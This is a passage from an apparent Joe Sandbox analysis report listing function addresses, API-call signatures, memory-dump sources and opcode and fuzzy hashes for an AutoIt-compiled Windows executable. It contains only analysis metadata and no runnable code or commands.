                                                            • Opcode Fuzzy Hash: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
                                                            • Instruction Fuzzy Hash: 09E01522618A9182D6208B06F44022AE7B0FB8ABD8F544565EBDC47B1ACF7DC5518B84
                                                            Function 00007FF69DB33EB4 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: LongNamePath
                                                            • String ID:
                                                            • API String ID: 82841172-0
                                                            • Opcode ID: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
                                                            • Instruction ID: 1b6a519f8791571a22b0c6188ee727035d81f642f43c40efa351b9b8d21f960d
                                                            • Opcode Fuzzy Hash: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
                                                            • Instruction Fuzzy Hash: A1E0D862B0874192D7319729E1443A8A3A1FB8CBC4F444071EECC83B5EED6CC5848B00
                                                            Function 00007FF69DB35D88 Relevance: 1.5, APIs: 1, Instructions: 19windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: IconNotifyShell_
                                                            • String ID:
                                                            • API String ID: 1144537725-0
                                                            • Opcode ID: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
                                                            • Instruction ID: cda80492f561e048efb2e38fec610cfc69498d50a7be8b168530e9c1f8460b09
                                                            • Opcode Fuzzy Hash: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
                                                            • Instruction Fuzzy Hash: 37F05861A19B8287E3719B54E40436976A9F78530CF8440BAD2CD8639AEE3CD306CB40
                                                            Function 00007FF69DB31080 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Open_onexit
                                                            • String ID:
                                                            • API String ID: 3030063568-0
                                                            • Opcode ID: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
                                                            • Instruction ID: 292b02e23a4b733e08d461dfeeefd9d791c17c780ca7797be70736b44aa5edf7
                                                            • Opcode Fuzzy Hash: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
                                                            • Instruction Fuzzy Hash: 8BE08C90F1A54FC1EE24BB69D88507442B0EF52309F8066B6C14CC2266FE1CD2A28300
                                                            Function 00007FF69DB310E8 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Process$CurrentVersionWow64_onexit
                                                            • String ID:
                                                            • API String ID: 2932345936-0
                                                            • Opcode ID: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
                                                            • Instruction ID: 4e7bcf42900acf0b3b931e5fa34637db441f4ec990040d6c42be0a884609bb82
                                                            • Opcode Fuzzy Hash: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
                                                            • Instruction Fuzzy Hash: 7AC01240E6D04BD1E62877BAC8860F411A0CFA7344FD001B6C14DC1286FD0C51E60611
                                                            Function 00007FF69DB31048 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _onexit
                                                            • String ID:
                                                            • API String ID: 572287377-0
                                                            • Opcode ID: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
                                                            • Instruction ID: 8d95ce671e6cf2e946048fa1470daecc1284a2f4385d6463f074aa91d81b4021
                                                            • Opcode Fuzzy Hash: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
                                                            • Instruction Fuzzy Hash: 16C01245E6E04BC1E92877B988860B401E08FAB300FD005B5C14DC1286FD4C52E61701
                                                            Function 00007FF69DB31064 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _onexit
                                                            • String ID:
                                                            • API String ID: 572287377-0
                                                            • Opcode ID: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
                                                            • Instruction ID: eb24fae1327ad31d8acf320b2e9cd2c3a63cf343141ce7906384a6faebcdbc2c
                                                            • Opcode Fuzzy Hash: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
                                                            • Instruction Fuzzy Hash: 24C01245E6E04B81E52877B98C860B801A08FA7300FD401B5C14DC128AFD1C51E64711
                                                            Function 00007FF69DBB7E48 Relevance: 1.4, APIs: 1, Instructions: 163COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ErrorLast
                                                            • String ID:
                                                            • API String ID: 1452528299-0
                                                            • Opcode ID: b1ea28e244f60b4af54ff34aaaf102a183879d86c5d4002b95e89690f8712e5a
                                                            • Instruction ID: 6663849bcd41ac6a012cf148834b398a1e760818b463ca6d5e96d2db7584ad3b
                                                            • Opcode Fuzzy Hash: b1ea28e244f60b4af54ff34aaaf102a183879d86c5d4002b95e89690f8712e5a
                                                            • Instruction Fuzzy Hash: 9F718C66B09A4286EB20EF65D0903FC67A0EB46B84F4041B6DE8D9779AEF3CE445C340
                                                            Function 00007FF69DB6C51C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: AllocHeap
                                                            • String ID:
                                                            • API String ID: 4292702814-0
                                                            • Opcode ID: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
                                                            • Instruction ID: f55c440101950dfb18f4450477b4560ea5f689401443294a7505bddad3d92cdd
                                                            • Opcode Fuzzy Hash: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
                                                            • Instruction Fuzzy Hash: 0AF05EC1B1924785FE349B629C0227C6580DF46BB0F8846B0D8AECA2D9FE6DE4408210

                                                            Non-executed Functions

                                                            Function 00007FF69DBC56A0 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 476filecommemoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                            • String ID: $AutoIt v3$DISPLAY$static
                                                            • API String ID: 2211948467-2373415609
                                                            • Opcode ID: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
                                                            • Instruction ID: 029f6d9a45977851675f064ba6e2523ea0c8fce322c051c6fe652bec172cf458
                                                            • Opcode Fuzzy Hash: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
                                                            • Instruction Fuzzy Hash: 4B22A1B6A086418AEB20CF39E85456D77E0FB99B94F504275DE8E87B68EF3CD445CB00
                                                            Function 00007FF69DBE17C0 Relevance: 70.6, APIs: 38, Strings: 2, Instructions: 587windowkeyboardCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSend$ClientScreen$LongStateWindow$CursorMenuPopupTrack$ParentProc
                                                            • String ID: @GUI_DRAGID$F
                                                            • API String ID: 1993697042-4164748364
                                                            • Opcode ID: 56f72f09bbed6945763f30ad9d633d39a2232c5a8ce1cdf1e6a0990a4f5aa755
                                                            • Instruction ID: 4bc4e9de936cdbd13331ab7b627c6247d6b8ec0ae1bb2d17f7843903524e9336
                                                            • Opcode Fuzzy Hash: 56f72f09bbed6945763f30ad9d633d39a2232c5a8ce1cdf1e6a0990a4f5aa755
                                                            • Instruction Fuzzy Hash: 205296B2A08A4682EB348F25D4446BD37A1FF85B84F5441B6DB8D83B98EF3CE551C790
                                                            Function 00007FF69DBDCE8C Relevance: 69.5, APIs: 46, Instructions: 540windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: DeleteDestroyIconImageLoadLongMessageObjectSendWindow
                                                            • String ID:
                                                            • API String ID: 3481653762-0
                                                            • Opcode ID: 0009db8de3ffea259ba8a46f35c7ba5ff9efa5b40b0df71df5247db5c8e89bc7
                                                            • Instruction ID: c147b2c54e96c1b9dccfab75687b634f4561169feb5eaf79bb6ba1264ec48432
                                                            • Opcode Fuzzy Hash: 0009db8de3ffea259ba8a46f35c7ba5ff9efa5b40b0df71df5247db5c8e89bc7
                                                            • Instruction Fuzzy Hash: D53281B6A0968186E760CF25D4547BD77A0FB86B94F5041B6DACE83B98EF3CE446C700
                                                            Function 00007FF69DBDBA0C Relevance: 54.8, APIs: 30, Strings: 1, Instructions: 500windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSend$Window$LongMenuText$CharInfoItemNextwsprintf
                                                            • String ID: %d/%02d/%02d
                                                            • API String ID: 1218376639-328681919
                                                            • Opcode ID: 88d0c6dc924de39b2680e6b6a0383be569fd99a49510e92f6d82c1925c8df759
                                                            • Instruction ID: 16d4532540b36a55a2c47f3c6219abde5e2806f3258df9f1c99ed231dd65cdda
                                                            • Opcode Fuzzy Hash: 88d0c6dc924de39b2680e6b6a0383be569fd99a49510e92f6d82c1925c8df759
                                                            • Instruction Fuzzy Hash: AA12D1F2A0965286F7708B25D854ABD23A0EF86B94F5041B6DA9DC7BD8EF3CD4428704
                                                            Function 00007FF69DBDDB18 Relevance: 51.2, APIs: 28, Strings: 1, Instructions: 462windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Window$MessageSend$Menu$Item$EnableInfoMove$DefaultShow$DrawFocusLongRect
                                                            • String ID: P
                                                            • API String ID: 1208186926-3110715001
                                                            • Opcode ID: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
                                                            • Instruction ID: d3fe0151d12dcf8e7a46bcc0f40e1ae78dd50596201e8953d017be28ad7a0e7e
                                                            • Opcode Fuzzy Hash: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
                                                            • Instruction Fuzzy Hash: 6F12E4F2A0868286E7348B25D454BBD27A0FB86794F5445B6DECD87A98EF3CE441CB40
                                                            Function 00007FF69DBC32AC Relevance: 47.6, APIs: 22, Strings: 5, Instructions: 327windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                                            • String ID: A$AutoIt v3$DISPLAY$msctls_progress32$static
                                                            • API String ID: 2910397461-2439800395
                                                            • Opcode ID: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
                                                            • Instruction ID: e934841024e34e1a4ec38f1a858e6e19bc8deea8e4490496de80018d93618fbe
                                                            • Opcode Fuzzy Hash: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
                                                            • Instruction Fuzzy Hash: 8AE19FB6A0868187E724CF25E84066E77A0FB99B98F505175DF8E87B68DF7CE045CB00
                                                            Function 00007FF69DB3183C Relevance: 38.0, APIs: 25, Instructions: 475windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Destroy$ImageList_Window$DeleteMessageObjectSend$IconMove
                                                            • String ID:
                                                            • API String ID: 3372153169-0
                                                            • Opcode ID: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
                                                            • Instruction ID: 3583c1616b0a0ab5050a3c47e51c76426c3046a9c044124c3f0009ac7139f4fe
                                                            • Opcode Fuzzy Hash: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
                                                            • Instruction Fuzzy Hash: 1622C0A2A0968287FB748F25D4503BD23A5FF46B94F5441B6CA9E87A9CEF3CE441D310
                                                            Function 00007FF69DB9CE68 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 227processCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Process$StationWindow$CloseCurrentHandleUser$CreateDuplicate$BlockDesktopEnvironmentHeapOpenProfileToken$AdjustAllocDestroyErrorLastLoadLogonLookupPrivilegePrivilegesThreadUnloadValuewcscpy
                                                            • String ID: default$winsta0$winsta0\default
                                                            • API String ID: 3202303201-1423368268
                                                            • Opcode ID: de7527ded46d2e32930649954c580003a2a01d55c070abe543a614e541a7caf5
                                                            • Instruction ID: a47f74f544d21e6c6ebf700615409fb2b07a760680dac841ff125aeb444c12d8
                                                            • Opcode Fuzzy Hash: de7527ded46d2e32930649954c580003a2a01d55c070abe543a614e541a7caf5
                                                            • Instruction Fuzzy Hash: 02A152B2B08B8186E720DF62E4402B967A5FB96798F444175DE9D87B9CEF3CE045C740
                                                            Function 00007FF69DB32AE0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                            • String ID: AutoIt v3 GUI
                                                            • API String ID: 1458621304-248962490
                                                            • Opcode ID: b8f5b06e3d0277f3ffc73035af6cc9ad4e685f54e981a48a8f38e285d267cba3
                                                            • Instruction ID: 82f276b013304781543a708ae8df86c83fadfd8c5ac91c6870dd363a4ebb8f68
                                                            • Opcode Fuzzy Hash: b8f5b06e3d0277f3ffc73035af6cc9ad4e685f54e981a48a8f38e285d267cba3
                                                            • Instruction Fuzzy Hash: 01D18B72A04A428BE764CF39D8407BD37A1FB45B88F500176DA8E93BA8EF38E445C740
                                                            Function 00007FF69DB5F8D0 Relevance: 31.9, APIs: 20, Instructions: 1857COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
